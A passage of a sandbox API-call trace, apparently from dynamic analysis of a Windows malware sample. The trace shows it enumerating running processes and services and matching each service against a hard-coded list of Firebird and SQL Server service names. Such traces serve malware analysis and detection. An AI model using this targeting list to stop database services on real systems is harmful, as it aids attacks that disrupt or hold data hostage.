pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0047.223] lstrlenW (lpString="surveillance.exe") returned 16 [0047.223] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0047.223] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0047.223] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0047.266] lstrlenW (lpString="deemed.exe") returned 10 [0047.266] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0047.266] lstrlenW (lpString="scored-prices.exe") returned 17 [0047.266] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0047.267] lstrlenW (lpString="understood.exe") returned 14 [0047.267] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0047.268] lstrlenW (lpString="lee.exe") returned 7 [0047.268] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0047.268] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0047.268] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0047.269] lstrlenW (lpString="romandisclosure.exe") returned 19 [0047.269] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0047.270] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0047.270] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0047.270] lstrlenW (lpString="dllhost.exe") returned 11 [0047.271] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0047.271] lstrlenW (lpString="product.exe") returned 11 [0047.271] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0047.272] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0047.272] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0047.273] lstrlenW (lpString="basin.exe") returned 9 [0047.273] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0047.274] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0047.274] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0047.274] lstrlenW (lpString="tested housewives.exe") returned 21 [0047.274] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.275] lstrlenW (lpString="conhost.exe") returned 11 [0047.275] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.276] lstrlenW (lpString="conhost.exe") returned 11 [0047.276] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.277] lstrlenW (lpString="svchost.exe") returned 11 [0047.277] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0047.278] lstrlenW (lpString="wmxsde.exe") returned 10 [0047.278] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0047.278] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0047.278] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0047.279] lstrlenW (lpString="conhost.exe") returned 11 [0047.279] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0047.280] lstrlenW (lpString="cmd.exe") returned 7 [0047.280] Process32NextW (in: hSnapshot=0x27c, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0047.281] CloseHandle (hObject=0x27c) returned 1 [0047.281] Sleep (dwMilliseconds=0x1f4) [0048.411] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6de8b8 [0048.413] EnumServicesStatusExW (in: hSCManager=0x6de8b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0048.413] GetLastError () returned 0xea [0048.413] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1cd6) returned 0x6ffb70 [0048.414] EnumServicesStatusExW (in: hSCManager=0x6de8b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6ffb70, cbBufSize=0x1cd6, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6ffb70, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0048.414] CloseServiceHandle (hSCObject=0x6de8b8) returned 1 [0048.415] lstrlenW (lpString="Appinfo") returned 7 [0048.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.415] lstrlenW (lpString="AppXSvc") returned 7 [0048.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0048.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0048.415] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0048.415] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0048.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0048.415] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.415] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.415] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.415] lstrlenW (lpString="Audiosrv") returned 8 [0048.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0048.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0048.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0048.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0048.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0048.416] lstrlenW (lpString="BFE") returned 3 [0048.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.416] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.416] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.416] lstrlenW (lpString="BITS") returned 4 [0048.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0048.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0048.416] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0048.416] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0048.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0048.416] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0048.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0048.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0048.416] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0048.416] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0048.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0048.416] lstrlenW (lpString="CDPSvc") returned 6 [0048.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0048.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0048.416] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0048.416] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0048.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0048.416] lstrlenW (lpString="ClickToRunSvc") returned 13 [0048.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0048.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0048.417] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0048.417] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0048.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0048.417] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0048.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0048.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0048.417] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0048.417] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0048.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0048.417] lstrlenW (lpString="CryptSvc") returned 8 [0048.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.417] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.417] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.417] lstrlenW (lpString="DcomLaunch") returned 10 [0048.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.417] lstrlenW (lpString="DeviceAssociationService") returned 24 [0048.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0048.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0048.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0048.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0048.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0048.418] lstrlenW (lpString="Dhcp") returned 4 [0048.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.418] lstrlenW (lpString="Dnscache") returned 8 [0048.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.418] lstrlenW (lpString="DoSvc") returned 5 [0048.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0048.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0048.418] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0048.418] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0048.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0048.418] lstrlenW (lpString="DPS") returned 3 [0048.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.418] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.418] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.418] lstrlenW (lpString="DusmSvc") returned 7 [0048.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0048.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0048.418] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0048.418] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0048.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0048.419] lstrlenW (lpString="EventLog") returned 8 [0048.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0048.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0048.419] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0048.419] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0048.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0048.419] lstrlenW (lpString="EventSystem") returned 11 [0048.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.419] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.419] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.419] lstrlenW (lpString="FontCache") returned 9 [0048.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0048.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0048.419] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0048.419] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0048.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0048.419] lstrlenW (lpString="gpsvc") returned 5 [0048.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.419] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.419] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.419] lstrlenW (lpString="iphlpsvc") returned 8 [0048.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.419] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.420] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.420] lstrlenW (lpString="KeyIso") returned 6 [0048.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0048.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0048.420] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0048.420] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0048.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0048.420] lstrlenW (lpString="LanmanServer") returned 12 [0048.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.420] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.420] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.420] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.420] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.420] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.420] lstrlenW (lpString="lfsvc") returned 5 [0048.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0048.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0048.523] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0048.529] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0048.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0048.637] lstrlenW (lpString="lmhosts") returned 7 [0048.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.637] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.637] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.637] lstrlenW (lpString="LSM") returned 3 [0048.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0048.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0048.637] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0048.637] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0048.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0048.637] lstrlenW (lpString="MpsSvc") returned 6 [0048.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.638] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.638] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.638] lstrlenW (lpString="NcbService") returned 10 [0048.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0048.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0048.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0048.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0048.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0048.638] lstrlenW (lpString="netprofm") returned 8 [0048.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.638] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.638] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.638] lstrlenW (lpString="NgcSvc") returned 6 [0048.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0048.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0048.638] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0048.638] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0048.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0048.638] lstrlenW (lpString="NlaSvc") returned 6 [0048.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.639] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.639] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.639] lstrlenW (lpString="nsi") returned 3 [0048.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.639] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.639] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.639] lstrlenW (lpString="PcaSvc") returned 6 [0048.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.639] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.639] lstrcmpiW 